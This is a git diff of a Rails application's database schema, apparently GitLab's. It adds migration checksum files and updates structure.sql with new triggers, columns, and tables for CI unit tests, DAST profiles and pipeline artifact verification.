diff --git a/db/schema_migrations/20210317035357 b/db/schema_migrations/20210317035357
new file mode 100644
index 00000000000..c8cc61fd9fc
--- /dev/null
+++ b/db/schema_migrations/20210317035357
@@ -0,0 +1 @@
+6fb6381e969d062f19b5269b4958306c3bf9a1b7cf06e5b0eb25beb005952d07 \ No newline at end of file
diff --git a/db/schema_migrations/20210317100520 b/db/schema_migrations/20210317100520
new file mode 100644
index 00000000000..f75c67143c2
--- /dev/null
+++ b/db/schema_migrations/20210317100520
@@ -0,0 +1 @@
+54c701451c305ffdead2a9019cf07adae835c5873025caa1f32169f5ae83bf5d \ No newline at end of file
diff --git a/db/schema_migrations/20210317104032 b/db/schema_migrations/20210317104032
new file mode 100644
index 00000000000..616397a0663
--- /dev/null
+++ b/db/schema_migrations/20210317104032
@@ -0,0 +1 @@
+c954e1f2bfdfddc98030bfa0ab28f58a41921cbb5b81e088cde12637e3ae5a8f \ No newline at end of file
diff --git a/db/schema_migrations/20210317104301 b/db/schema_migrations/20210317104301
new file mode 100644
index 00000000000..c0bd8549c6a
--- /dev/null
+++ b/db/schema_migrations/20210317104301
@@ -0,0 +1 @@
+c502a539a50ef1b8f07a8c22426a23cf974ee663fc80a99abe0d658e2a07f52b \ No newline at end of file
diff --git a/db/schema_migrations/20210317105904 b/db/schema_migrations/20210317105904
new file mode 100644
index 00000000000..51dcb6516a0
--- /dev/null
+++ b/db/schema_migrations/20210317105904
@@ -0,0 +1 @@
+64675f43f66d90158147c62699c0d2a48dc74d017c81b30ce3847408d0dad3cb \ No newline at end of file
diff --git a/db/schema_migrations/20210317155207 b/db/schema_migrations/20210317155207
new file mode 100644
index 00000000000..3038d9cb4ab
--- /dev/null
+++ b/db/schema_migrations/20210317155207
@@ -0,0 +1 @@
+b6c30723c2be7dd0afe535272cded230db4954bfe914d5087542be2c27d0ad79 \ No newline at end of file
diff --git a/db/schema_migrations/20210317192943 b/db/schema_migrations/20210317192943
new file mode 100644
index 00000000000..d03b325fa77
--- /dev/null
+++ b/db/schema_migrations/20210317192943
@@ -0,0 +1 @@
+dfb88ea7a213da1e56bef532255f01a284d7b9be9ec8a6b9dd0e95ec04d0f524 \ No newline at end of file
diff --git a/db/schema_migrations/20210318134427 b/db/schema_migrations/20210318134427
new file mode 100644
index 00000000000..3fe6ac49550
--- /dev/null
+++ b/db/schema_migrations/20210318134427
@@ -0,0 +1 @@
+07f4619577b05ea6a62045c81de7d225841bea28c0dd8f2cdb2011c902fd3e5a \ No newline at end of file
diff --git a/db/schema_migrations/20210322063407 b/db/schema_migrations/20210322063407
new file mode 100644
index 00000000000..bea9c3f2ba0
--- /dev/null
+++ b/db/schema_migrations/20210322063407
@@ -0,0 +1 @@
+d520fe71ca271c135b9684dc7a03ede27832659459f7476787798d11460c4736 \ No newline at end of file
diff --git a/db/schema_migrations/20210322063450 b/db/schema_migrations/20210322063450
new file mode 100644
index 00000000000..7c4a1ba65bf
--- /dev/null
+++ b/db/schema_migrations/20210322063450
@@ -0,0 +1 @@
+fdf858a31e27fb2ce4071642b6e2d76082db95f6ebbec63ce627f92ddf7edfcf \ No newline at end of file
diff --git a/db/schema_migrations/20210322115438 b/db/schema_migrations/20210322115438
new file mode 100644
index 00000000000..94db65a9a8a
--- /dev/null
+++ b/db/schema_migrations/20210322115438
@@ -0,0 +1 @@
+e177c2cc0b59eea54de10417445b391cea7dd308547077aea34054fac22b9e40 \ No newline at end of file
diff --git a/db/schema_migrations/20210322182751 b/db/schema_migrations/20210322182751
new file mode 100644
index 00000000000..615f3c7a5de
--- /dev/null
+++ b/db/schema_migrations/20210322182751
@@ -0,0 +1 @@
+79ad2de15faef8edb8752c2a9c89f1739a805af999c86db6e73482a613c4f9d1 \ No newline at end of file
diff --git a/db/schema_migrations/20210323064751 b/db/schema_migrations/20210323064751
new file mode 100644
index 00000000000..3ce610ecb0d
--- /dev/null
+++ b/db/schema_migrations/20210323064751
@@ -0,0 +1 @@
+4ef75890cf2c30954e0d1ff04c75b58cb910315ea1ed345e351edd035b681cc6 \ No newline at end of file
diff --git a/db/schema_migrations/20210323155010 b/db/schema_migrations/20210323155010
new file mode 100644
index 00000000000..23225216b5a
--- /dev/null
+++ b/db/schema_migrations/20210323155010
@@ -0,0 +1 @@
+1143241b1a8d1554c86a8d72d43276fa15c0193e510f47d5d7c64769860c60e3 \ No newline at end of file
diff --git a/db/schema_migrations/20210323182846 b/db/schema_migrations/20210323182846
new file mode 100644
index 00000000000..aa4ab4ba7fd
--- /dev/null
+++ b/db/schema_migrations/20210323182846
@@ -0,0 +1 @@
+9ee014f462ec0d2affaab146243fb991298e9b30bd57b741fba0440b1676de03 \ No newline at end of file
diff --git a/db/schema_migrations/20210324112439 b/db/schema_migrations/20210324112439
new file mode 100644
index 00000000000..e0cf51c3a54
--- /dev/null
+++ b/db/schema_migrations/20210324112439
@@ -0,0 +1 @@
+7e6dd4e247ad6b610ebebcf59b4212fd0d2258c8fff008d525b891da872613e5 \ No newline at end of file
diff --git a/db/schema_migrations/20210324131727 b/db/schema_migrations/20210324131727
new file mode 100644
index 00000000000..85ea4aad1ee
--- /dev/null
+++ b/db/schema_migrations/20210324131727
@@ -0,0 +1 @@
+e0fab4d950a5be032f823160b1805c44262f9e3d233dc76cd108483a5b92896b \ No newline at end of file
diff --git a/db/schema_migrations/20210325092215 b/db/schema_migrations/20210325092215
new file mode 100644
index 00000000000..0693c47994b
--- /dev/null
+++ b/db/schema_migrations/20210325092215
@@ -0,0 +1 @@
+ea819fd401c5566986fd495ed3b8aa0d296d6c9e3fedf2a10f34cb7fbaeedb20 \ No newline at end of file
diff --git a/db/schema_migrations/20210325113129 b/db/schema_migrations/20210325113129
new file mode 100644
index 00000000000..86c212db71b
--- /dev/null
+++ b/db/schema_migrations/20210325113129
@@ -0,0 +1 @@
+27fcdd54a21d554e44df621e409b81fe248e00851c856d315f4f64b463c7a5b7 \ No newline at end of file
diff --git a/db/schema_migrations/20210325150837 b/db/schema_migrations/20210325150837
new file mode 100644
index 00000000000..716462ad187
--- /dev/null
+++ b/db/schema_migrations/20210325150837
@@ -0,0 +1 @@
+6022464130d7a5697f52b9238837c6a6d3363fd349cbcb14052ff52de6ea2e59 \ No newline at end of file
diff --git a/db/schema_migrations/20210325151758 b/db/schema_migrations/20210325151758
new file mode 100644
index 00000000000..a3d5f1b1b0a
--- /dev/null
+++ b/db/schema_migrations/20210325151758
@@ -0,0 +1 @@
+de55a114773961e6cae9ebae36ac93e60676555fe4c2973527511bb3a2eae69d \ No newline at end of file
diff --git a/db/schema_migrations/20210325152011 b/db/schema_migrations/20210325152011
new file mode 100644
index 00000000000..f685bcd7d9d
--- /dev/null
+++ b/db/schema_migrations/20210325152011
@@ -0,0 +1 @@
+379fdb3c52e55b51ebdb4a3b1e67c12f19b15e97cce22eed351e33953e389c85 \ No newline at end of file
diff --git a/db/schema_migrations/20210326035553 b/db/schema_migrations/20210326035553
new file mode 100644
index 00000000000..da34de0fafe
--- /dev/null
+++ b/db/schema_migrations/20210326035553
@@ -0,0 +1 @@
+018381c15d859a777afb2b3402ca4425ce52ab35dcd4d1e930b3a9928b2a2019 \ No newline at end of file
diff --git a/db/schema_migrations/20210326121537 b/db/schema_migrations/20210326121537
new file mode 100644
index 00000000000..ece53e34413
--- /dev/null
+++ b/db/schema_migrations/20210326121537
@@ -0,0 +1 @@
+ac8063901a0de1f2e6d4fd5336f54bfca0bafa9d081066124ec9d2acf47c9b47 \ No newline at end of file
diff --git a/db/schema_migrations/20210326190903 b/db/schema_migrations/20210326190903
new file mode 100644
index 00000000000..fb98949b3ca
--- /dev/null
+++ b/db/schema_migrations/20210326190903
@@ -0,0 +1 @@
+d6181f8806592106305366f5e8ef508286ed447c1fce0de26f242de736b21809 \ No newline at end of file
diff --git a/db/schema_migrations/20210328214434 b/db/schema_migrations/20210328214434
new file mode 100644
index 00000000000..a1d74aaa772
--- /dev/null
+++ b/db/schema_migrations/20210328214434
@@ -0,0 +1 @@
+134fba876b69fd48697975066a734becf337f53baddd986a5c708ea6dd7cbd75 \ No newline at end of file
diff --git a/db/schema_migrations/20210329095548 b/db/schema_migrations/20210329095548
new file mode 100644
index 00000000000..a3f65e8e446
--- /dev/null
+++ b/db/schema_migrations/20210329095548
@@ -0,0 +1 @@
+412d0cedef5c933c7de3a70ca2365fe0cfaa4087429ca418854092b6c37904f1 \ No newline at end of file
diff --git a/db/schema_migrations/20210329102724 b/db/schema_migrations/20210329102724
new file mode 100644
index 00000000000..b2fdccf2bb8
--- /dev/null
+++ b/db/schema_migrations/20210329102724
@@ -0,0 +1 @@
+b40c702ea6b2120da6fe11b213064a7a124dbc86bfb2d6785bfd2274c44f1e22 \ No newline at end of file
diff --git a/db/schema_migrations/20210329191850 b/db/schema_migrations/20210329191850
new file mode 100644
index 00000000000..9b436c7934d
--- /dev/null
+++ b/db/schema_migrations/20210329191850
@@ -0,0 +1 @@
+2a49d9f33f7dbcbef3cb5d5537db052c527d5268b37496435fe9918ddbb73095 \ No newline at end of file
diff --git a/db/schema_migrations/20210329192716 b/db/schema_migrations/20210329192716
new file mode 100644
index 00000000000..8767c215335
--- /dev/null
+++ b/db/schema_migrations/20210329192716
@@ -0,0 +1 @@
+d0f5341d76183882b68583bc012154566e99050c24a90c9b895d6863ad8f3273 \ No newline at end of file
diff --git a/db/schema_migrations/20210330015805 b/db/schema_migrations/20210330015805
new file mode 100644
index 00000000000..14102a0a2d1
--- /dev/null
+++ b/db/schema_migrations/20210330015805
@@ -0,0 +1 @@
+a435a211d7e8b9a972323769299fc6e537fdeaa127f8db6ab53031901a51ec36 \ No newline at end of file
diff --git a/db/schema_migrations/20210330091751 b/db/schema_migrations/20210330091751
new file mode 100644
index 00000000000..0536252e980
--- /dev/null
+++ b/db/schema_migrations/20210330091751
@@ -0,0 +1 @@
+3a195b9671846409cf6665b13caad9713541d9cdd95c9f246c22b7db225ab02c \ No newline at end of file
diff --git a/db/schema_migrations/20210330130420 b/db/schema_migrations/20210330130420
new file mode 100644
index 00000000000..331738f7f0e
--- /dev/null
+++ b/db/schema_migrations/20210330130420
@@ -0,0 +1 @@
+de04d010fabd62d9dc995938b69ba178caa5e0a8476af5a78ba68c86698633d6 \ No newline at end of file
diff --git a/db/schema_migrations/20210331105335 b/db/schema_migrations/20210331105335
new file mode 100644
index 00000000000..5d9b8d3fea8
--- /dev/null
+++ b/db/schema_migrations/20210331105335
@@ -0,0 +1 @@
+2127018617082dbad341bcee68948afe111286fdc2ea9ce8b3d00d356f3c61e0 \ No newline at end of file
diff --git a/db/schema_migrations/20210331125111 b/db/schema_migrations/20210331125111
new file mode 100644
index 00000000000..7e6429b4289
--- /dev/null
+++ b/db/schema_migrations/20210331125111
@@ -0,0 +1 @@
+8c7343dafaa036115e85f30d2d096d14279c80de99f49b969039ed3afa5acdf6 \ No newline at end of file
diff --git a/db/schema_migrations/20210331145548 b/db/schema_migrations/20210331145548
new file mode 100644
index 00000000000..c903c6f35c8
--- /dev/null
+++ b/db/schema_migrations/20210331145548
@@ -0,0 +1 @@
+f27446d1950acaf45f623b2cec7733cd7ba4b82eefddfa2203acbbaf77d59e18 \ No newline at end of file
diff --git a/db/schema_migrations/20210331180118 b/db/schema_migrations/20210331180118
new file mode 100644
index 00000000000..45e62e7154d
--- /dev/null
+++ b/db/schema_migrations/20210331180118
@@ -0,0 +1 @@
+d8a17ce963801559292265dd0a997d8dbc69d2fa8b8840622490f878bf1eaa6a \ No newline at end of file
diff --git a/db/schema_migrations/20210401131948 b/db/schema_migrations/20210401131948
new file mode 100644
index 00000000000..8b9950cd32c
--- /dev/null
+++ b/db/schema_migrations/20210401131948
@@ -0,0 +1 @@
+cbc1cd66cdbe08ac9edee14da255343acdcd8adaea6748ee82980462ae4bb88f \ No newline at end of file
diff --git a/db/schema_migrations/20210401134157 b/db/schema_migrations/20210401134157
new file mode 100644
index 00000000000..864d11258b4
--- /dev/null
+++ b/db/schema_migrations/20210401134157
@@ -0,0 +1 @@
+02f8ed673f87cb2528022d8352a1551b3c7250986d6dc387c1bbdfbc71123272 \ No newline at end of file
diff --git a/db/schema_migrations/20210401134455 b/db/schema_migrations/20210401134455
new file mode 100644
index 00000000000..20a348695e7
--- /dev/null
+++ b/db/schema_migrations/20210401134455
@@ -0,0 +1 @@
+3420d83bf8a1f44e69960849efa25525883f17a2776ae3ce28db855cd550ca8e \ No newline at end of file
diff --git a/db/schema_migrations/20210401175134 b/db/schema_migrations/20210401175134
new file mode 100644
index 00000000000..8b93c13bfdc
--- /dev/null
+++ b/db/schema_migrations/20210401175134
@@ -0,0 +1 @@
+07d527134f776dbed2199f1717c34b3a6c41caadcaa3c50e6e5866f2cfad31b0 \ No newline at end of file
diff --git a/db/schema_migrations/20210401192808 b/db/schema_migrations/20210401192808
new file mode 100644
index 00000000000..fd005c98732
--- /dev/null
+++ b/db/schema_migrations/20210401192808
@@ -0,0 +1 @@
+1cd4799ed7df41bfb9d96a7d18faaa9cbb2dc03f2a804c2bc3c1a6bba15d6d3d \ No newline at end of file
diff --git a/db/schema_migrations/20210402005225 b/db/schema_migrations/20210402005225
new file mode 100644
index 00000000000..767b1307ca7
--- /dev/null
+++ b/db/schema_migrations/20210402005225
@@ -0,0 +1 @@
+6c44623655732e9c2916f7a71d51f53e819a216b8936d20d28d6acf37cc94fdf \ No newline at end of file
diff --git a/db/schema_migrations/20210406063442 b/db/schema_migrations/20210406063442
new file mode 100644
index 00000000000..75b07b54158
--- /dev/null
+++ b/db/schema_migrations/20210406063442
@@ -0,0 +1 @@
+d29f002f88440a10674b251791fa027cb0ae1c1b0c4fd776a2078e3c94160f17 \ No newline at end of file
diff --git a/db/schema_migrations/20210406140057 b/db/schema_migrations/20210406140057
new file mode 100644
index 00000000000..924de9f2ea3
--- /dev/null
+++ b/db/schema_migrations/20210406140057
@@ -0,0 +1 @@
+b984ddc5765b6f906a3a2046005e8ad45bab360b095eee7e68c44a8ca5534679 \ No newline at end of file
diff --git a/db/schema_migrations/20210406144743 b/db/schema_migrations/20210406144743
new file mode 100644
index 00000000000..2709fa5b1c4
--- /dev/null
+++ b/db/schema_migrations/20210406144743
@@ -0,0 +1 @@
+64011f8d0bcb293bcd36125a52897901421dd18d96129f1514ea360b558f4294 \ No newline at end of file
diff --git a/db/schema_migrations/20210407002511 b/db/schema_migrations/20210407002511
new file mode 100644
index 00000000000..60a45fd29ec
--- /dev/null
+++ b/db/schema_migrations/20210407002511
@@ -0,0 +1 @@
+174d2c4dc57847060cb19405cc08fffd038c7bfbd4ad749e3e1eccf0e281230b \ No newline at end of file
diff --git a/db/schema_migrations/20210407150240 b/db/schema_migrations/20210407150240
new file mode 100644
index 00000000000..cfc187d5dd7
--- /dev/null
+++ b/db/schema_migrations/20210407150240
@@ -0,0 +1 @@
+b5f83e3870dc7c70fbde6071725aa2acb3e99f7c2ed050633c34ed35e696ba1e \ No newline at end of file
diff --git a/db/schema_migrations/20210409084242 b/db/schema_migrations/20210409084242
new file mode 100644
index 00000000000..2d932018355
--- /dev/null
+++ b/db/schema_migrations/20210409084242
@@ -0,0 +1 @@
+6bd35117ca922fc0d9cb8cbd9b0e6d5d9216457182d5679e705c1f03eef05921 \ No newline at end of file
diff --git a/db/schema_migrations/20210409185501 b/db/schema_migrations/20210409185501
new file mode 100644
index 00000000000..9aa098eb495
--- /dev/null
+++ b/db/schema_migrations/20210409185501
@@ -0,0 +1 @@
+3655b51b9975a73f3b141f53a0e89aba5b90a030abb8f1dfec3d3bcbb08aa1ec \ No newline at end of file
diff --git a/db/schema_migrations/20210409185531 b/db/schema_migrations/20210409185531
new file mode 100644
index 00000000000..c399a2e9258
--- /dev/null
+++ b/db/schema_migrations/20210409185531
@@ -0,0 +1 @@
+1ecd19849ca362a360719c46893f793ffc52b08bd85603305e3fd4d43f3b7ef2 \ No newline at end of file
diff --git a/db/schema_migrations/20210411212813 b/db/schema_migrations/20210411212813
new file mode 100644
index 00000000000..835191bf73c
--- /dev/null
+++ b/db/schema_migrations/20210411212813
@@ -0,0 +1 @@
+47c1d8d699a18f4c52178dd5de6434f9997166e05acd70bdc40ff85a1572a797 \ No newline at end of file
diff --git a/db/schema_migrations/20210412132736 b/db/schema_migrations/20210412132736
new file mode 100644
index 00000000000..23cadad52aa
--- /dev/null
+++ b/db/schema_migrations/20210412132736
@@ -0,0 +1 @@
+fa3287ed845c2fa24c3c65825362b4393433e273a3e94ed454ef5cc3b373d8a3 \ No newline at end of file
diff --git a/db/schema_migrations/20210412132824 b/db/schema_migrations/20210412132824
new file mode 100644
index 00000000000..3c5d9b79115
--- /dev/null
+++ b/db/schema_migrations/20210412132824
@@ -0,0 +1 @@
+cb02cb38d6f050ac49ac2c963307da4543590cc5ebd50fbc2225c519f1c96849 \ No newline at end of file
diff --git a/db/schema_migrations/20210412142223 b/db/schema_migrations/20210412142223
new file mode 100644
index 00000000000..9ddb9b7f1e4
--- /dev/null
+++ b/db/schema_migrations/20210412142223
@@ -0,0 +1 @@
+4a1435a56b8e5cddd83b844f84374bca91810bbfc5f44faf2a53fd41f93be69c \ No newline at end of file
diff --git a/db/schema_migrations/20210413092922 b/db/schema_migrations/20210413092922
new file mode 100644
index 00000000000..08d7beaec7f
--- /dev/null
+++ b/db/schema_migrations/20210413092922
@@ -0,0 +1 @@
+2da634fa920e3989d9b8e53ddc1ba005e5bc0f4701426e3841d90a42bd2e908f \ No newline at end of file
diff --git a/db/schema_migrations/20210413121101 b/db/schema_migrations/20210413121101
new file mode 100644
index 00000000000..0eef2adc713
--- /dev/null
+++ b/db/schema_migrations/20210413121101
@@ -0,0 +1 @@
+fe98a617ac8bacf270425c1e9b9b60aee1c3c0e47d5c915fe122cb99c1c1c822 \ No newline at end of file
diff --git a/db/schema_migrations/20210413123832 b/db/schema_migrations/20210413123832
new file mode 100644
index 00000000000..4a8af15f336
--- /dev/null
+++ b/db/schema_migrations/20210413123832
@@ -0,0 +1 @@
+d166250305c2939bea8cc1970faf50d86776d32270a80a429cce668a97280aad \ No newline at end of file
diff --git a/db/schema_migrations/20210413130011 b/db/schema_migrations/20210413130011
new file mode 100644
index 00000000000..c67e9705e7a
--- /dev/null
+++ b/db/schema_migrations/20210413130011
@@ -0,0 +1 @@
+943466b272406a95c478337de84f72388dae88a8cf88f3b389e3ade9d4ecd63d \ No newline at end of file
diff --git a/db/schema_migrations/20210413132500 b/db/schema_migrations/20210413132500
new file mode 100644
index 00000000000..662c7e33ef0
--- /dev/null
+++ b/db/schema_migrations/20210413132500
@@ -0,0 +1 @@
+407806cc168ef9859c9a4f1bd4db7a56aee01367e784ea0767889863b9ace35d \ No newline at end of file
diff --git a/db/schema_migrations/20210414095944 b/db/schema_migrations/20210414095944
new file mode 100644
index 00000000000..67abfa19822
--- /dev/null
+++ b/db/schema_migrations/20210414095944
@@ -0,0 +1 @@
+843d9eabf8b67fe10d9eb453e887032d5b88b8594ae666bc6c6ac81e20e1ab53 \ No newline at end of file
diff --git a/db/schema_migrations/20210414131600 b/db/schema_migrations/20210414131600
new file mode 100644
index 00000000000..2ed1c9856ae
--- /dev/null
+++ b/db/schema_migrations/20210414131600
@@ -0,0 +1 @@
+199c8a540cb4a0dd30a86a81f993798afb3e7384f1176b71a780d5950a52eb5f \ No newline at end of file
diff --git a/db/schema_migrations/20210415074645 b/db/schema_migrations/20210415074645
new file mode 100644
index 00000000000..d996f095dce
--- /dev/null
+++ b/db/schema_migrations/20210415074645
@@ -0,0 +1 @@
+393a7f1029f05f73c26e031c8980734e13c304846c3457d581c006dc2566d94d \ No newline at end of file
diff --git a/db/schema_migrations/20210415142700 b/db/schema_migrations/20210415142700
new file mode 100644
index 00000000000..22b10173911
--- /dev/null
+++ b/db/schema_migrations/20210415142700
@@ -0,0 +1 @@
+2d6d62b036c937136dfbb11becfd3c2c705f0db1e3a38fdcefe676106168ab29 \ No newline at end of file
diff --git a/db/schema_migrations/20210415144538 b/db/schema_migrations/20210415144538
new file mode 100644
index 00000000000..6b8e0d78b65
--- /dev/null
+++ b/db/schema_migrations/20210415144538
@@ -0,0 +1 @@
+d237690af576fb5a85d984416dcca1936a140a10a9b6c968d3ff57419568fb8f \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index 8936087bd2b..db463645810 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -97,58 +97,23 @@ $$;
COMMENT ON FUNCTION table_sync_function_29bc99d6db() IS 'Partitioning migration: table sync for web_hook_logs table';
-CREATE FUNCTION table_sync_function_2be879775d() RETURNS trigger
+CREATE FUNCTION trigger_07c94931164e() RETURNS trigger
LANGUAGE plpgsql
AS $$
BEGIN
-IF (TG_OP = 'DELETE') THEN
- DELETE FROM audit_events_archived where id = OLD.id;
-ELSIF (TG_OP = 'UPDATE') THEN
- UPDATE audit_events_archived
- SET author_id = NEW.author_id,
- entity_id = NEW.entity_id,
- entity_type = NEW.entity_type,
- details = NEW.details,
- created_at = NEW.created_at,
- ip_address = NEW.ip_address,
- author_name = NEW.author_name,
- entity_path = NEW.entity_path,
- target_details = NEW.target_details,
- target_type = NEW.target_type,
- target_id = NEW.target_id
- WHERE audit_events_archived.id = NEW.id;
-ELSIF (TG_OP = 'INSERT') THEN
- INSERT INTO audit_events_archived (id,
- author_id,
- entity_id,
- entity_type,
- details,
- created_at,
- ip_address,
- author_name,
- entity_path,
- target_details,
- target_type,
- target_id)
- VALUES (NEW.id,
- NEW.author_id,
- NEW.entity_id,
- NEW.entity_type,
- NEW.details,
- NEW.created_at,
- NEW.ip_address,
- NEW.author_name,
- NEW.entity_path,
- NEW.target_details,
- NEW.target_type,
- NEW.target_id);
-END IF;
-RETURN NULL;
-
-END
+ NEW."event_id_convert_to_bigint" := NEW."event_id";
+ RETURN NEW;
+END;
$$;
-COMMENT ON FUNCTION table_sync_function_2be879775d() IS 'Partitioning migration: table sync for audit_events table';
+CREATE FUNCTION trigger_69523443cc10() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ RETURN NEW;
+END;
+$$;
CREATE TABLE audit_events (
id bigint NOT NULL,
@@ -9473,7 +9438,15 @@ CREATE TABLE application_settings (
kroki_formats jsonb DEFAULT '{}'::jsonb NOT NULL,
in_product_marketing_emails_enabled boolean DEFAULT true NOT NULL,
asset_proxy_whitelist text,
+ admin_mode boolean DEFAULT false NOT NULL,
+ delayed_project_removal boolean DEFAULT false NOT NULL,
+ lock_delayed_project_removal boolean DEFAULT false NOT NULL,
+ external_pipeline_validation_service_timeout integer,
+ encrypted_external_pipeline_validation_service_token text,
+ encrypted_external_pipeline_validation_service_token_iv text,
+ external_pipeline_validation_service_url text,
CONSTRAINT app_settings_container_reg_cleanup_tags_max_list_size_positive CHECK ((container_registry_cleanup_tags_service_max_list_size >= 0)),
+ CONSTRAINT app_settings_ext_pipeline_validation_service_url_text_limit CHECK ((char_length(external_pipeline_validation_service_url) <= 255)),
CONSTRAINT app_settings_registry_exp_policies_worker_capacity_positive CHECK ((container_registry_expiration_policies_worker_capacity >= 0)),
CONSTRAINT check_17d9558205 CHECK ((char_length((kroki_url)::text) <= 1024)),
CONSTRAINT check_2dba05b802 CHECK ((char_length(gitpod_url) <= 255)),
@@ -9723,25 +9696,6 @@ CREATE SEQUENCE atlassian_identities_user_id_seq
ALTER SEQUENCE atlassian_identities_user_id_seq OWNED BY atlassian_identities.user_id;
-CREATE TABLE audit_events_archived (
- id integer NOT NULL,
- author_id integer NOT NULL,
- entity_id integer NOT NULL,
- entity_type character varying NOT NULL,
- details text,
- created_at timestamp without time zone,
- ip_address inet,
- author_name text,
- entity_path text,
- target_details text,
- target_type text,
- target_id bigint,
- CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
- CONSTRAINT check_82294106dd CHECK ((char_length(target_type) <= 255)),
- CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
- CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
-);
-
CREATE SEQUENCE audit_events_id_seq
START WITH 1
INCREMENT BY 1
@@ -9853,7 +9807,8 @@ CREATE TABLE batched_background_migration_jobs (
batch_size integer NOT NULL,
sub_batch_size integer NOT NULL,
status smallint DEFAULT 0 NOT NULL,
- attempts smallint DEFAULT 0 NOT NULL
+ attempts smallint DEFAULT 0 NOT NULL,
+ metrics jsonb DEFAULT '{}'::jsonb NOT NULL
);
CREATE SEQUENCE batched_background_migration_jobs_id_seq
@@ -9880,6 +9835,7 @@ CREATE TABLE batched_background_migrations (
table_name text NOT NULL,
column_name text NOT NULL,
job_arguments jsonb DEFAULT '"[]"'::jsonb NOT NULL,
+ total_tuple_count bigint,
CONSTRAINT check_5bb0382d6f CHECK ((char_length(column_name) <= 63)),
CONSTRAINT check_6b6a06254a CHECK ((char_length(table_name) <= 63)),
CONSTRAINT check_batch_size_in_range CHECK ((batch_size >= sub_batch_size)),
@@ -10671,8 +10627,16 @@ CREATE TABLE ci_pipeline_artifacts (
file_format smallint NOT NULL,
file text,
expire_at timestamp with time zone,
+ verification_started_at timestamp with time zone,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_retry_count smallint,
+ verification_checksum bytea,
+ verification_failure text,
CONSTRAINT check_191b5850ec CHECK ((char_length(file) <= 255)),
- CONSTRAINT check_abeeb71caf CHECK ((file IS NOT NULL))
+ CONSTRAINT check_abeeb71caf CHECK ((file IS NOT NULL)),
+ CONSTRAINT ci_pipeline_artifacts_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
);
CREATE SEQUENCE ci_pipeline_artifacts_id_seq
@@ -11129,6 +11093,42 @@ CREATE SEQUENCE ci_triggers_id_seq
ALTER SEQUENCE ci_triggers_id_seq OWNED BY ci_triggers.id;
+CREATE TABLE ci_unit_test_failures (
+ id bigint NOT NULL,
+ failed_at timestamp with time zone NOT NULL,
+ unit_test_id bigint NOT NULL,
+ build_id bigint NOT NULL
+);
+
+CREATE SEQUENCE ci_unit_test_failures_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_unit_test_failures_id_seq OWNED BY ci_unit_test_failures.id;
+
+CREATE TABLE ci_unit_tests (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ key_hash text NOT NULL,
+ name text NOT NULL,
+ suite_name text NOT NULL,
+ CONSTRAINT check_248fae1a3b CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_b288215ffe CHECK ((char_length(key_hash) <= 64)),
+ CONSTRAINT check_c2d57b3c49 CHECK ((char_length(suite_name) <= 255))
+);
+
+CREATE SEQUENCE ci_unit_tests_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_unit_tests_id_seq OWNED BY ci_unit_tests.id;
+
CREATE TABLE ci_variables (
id integer NOT NULL,
key character varying NOT NULL,
@@ -11162,6 +11162,7 @@ CREATE TABLE cluster_agent_tokens (
description text,
name text,
last_used_at timestamp with time zone,
+ CONSTRAINT check_0fb634d04d CHECK ((name IS NOT NULL)),
CONSTRAINT check_2b79dbb315 CHECK ((char_length(name) <= 255)),
CONSTRAINT check_4e4ec5070a CHECK ((char_length(description) <= 1024)),
CONSTRAINT check_c60daed227 CHECK ((char_length(token_encrypted) <= 255))
@@ -11576,6 +11577,13 @@ CREATE SEQUENCE clusters_id_seq
ALTER SEQUENCE clusters_id_seq OWNED BY clusters.id;
+CREATE TABLE clusters_integration_prometheus (
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ cluster_id bigint NOT NULL,
+ enabled boolean DEFAULT false NOT NULL
+);
+
CREATE TABLE clusters_kubernetes_namespaces (
id bigint NOT NULL,
cluster_id integer NOT NULL,
@@ -11785,6 +11793,13 @@ CREATE SEQUENCE dast_profiles_id_seq
ALTER SEQUENCE dast_profiles_id_seq OWNED BY dast_profiles.id;
+CREATE TABLE dast_profiles_pipelines (
+ dast_profile_id bigint NOT NULL,
+ ci_pipeline_id bigint NOT NULL
+);
+
+COMMENT ON TABLE dast_profiles_pipelines IS '{"owner":"group::dynamic analysis","description":"Join table between DAST Profiles and CI Pipelines"}';
+
CREATE TABLE dast_scanner_profiles (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11808,6 +11823,31 @@ CREATE SEQUENCE dast_scanner_profiles_id_seq
ALTER SEQUENCE dast_scanner_profiles_id_seq OWNED BY dast_scanner_profiles.id;
+CREATE TABLE dast_site_profile_secret_variables (
+ id bigint NOT NULL,
+ dast_site_profile_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ variable_type smallint DEFAULT 1 NOT NULL,
+ key text NOT NULL,
+ encrypted_value bytea NOT NULL,
+ encrypted_value_iv bytea NOT NULL,
+ CONSTRAINT check_236213f179 CHECK ((length(encrypted_value) <= 13352)),
+ CONSTRAINT check_8cbef204b2 CHECK ((char_length(key) <= 255)),
+ CONSTRAINT check_b49080abbf CHECK ((length(encrypted_value_iv) <= 17))
+);
+
+COMMENT ON TABLE dast_site_profile_secret_variables IS '{"owner":"group::dynamic analysis","description":"Secret variables used in DAST on-demand scans"}';
+
+CREATE SEQUENCE dast_site_profile_secret_variables_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE dast_site_profile_secret_variables_id_seq OWNED BY dast_site_profile_secret_variables.id;
+
CREATE TABLE dast_site_profiles (
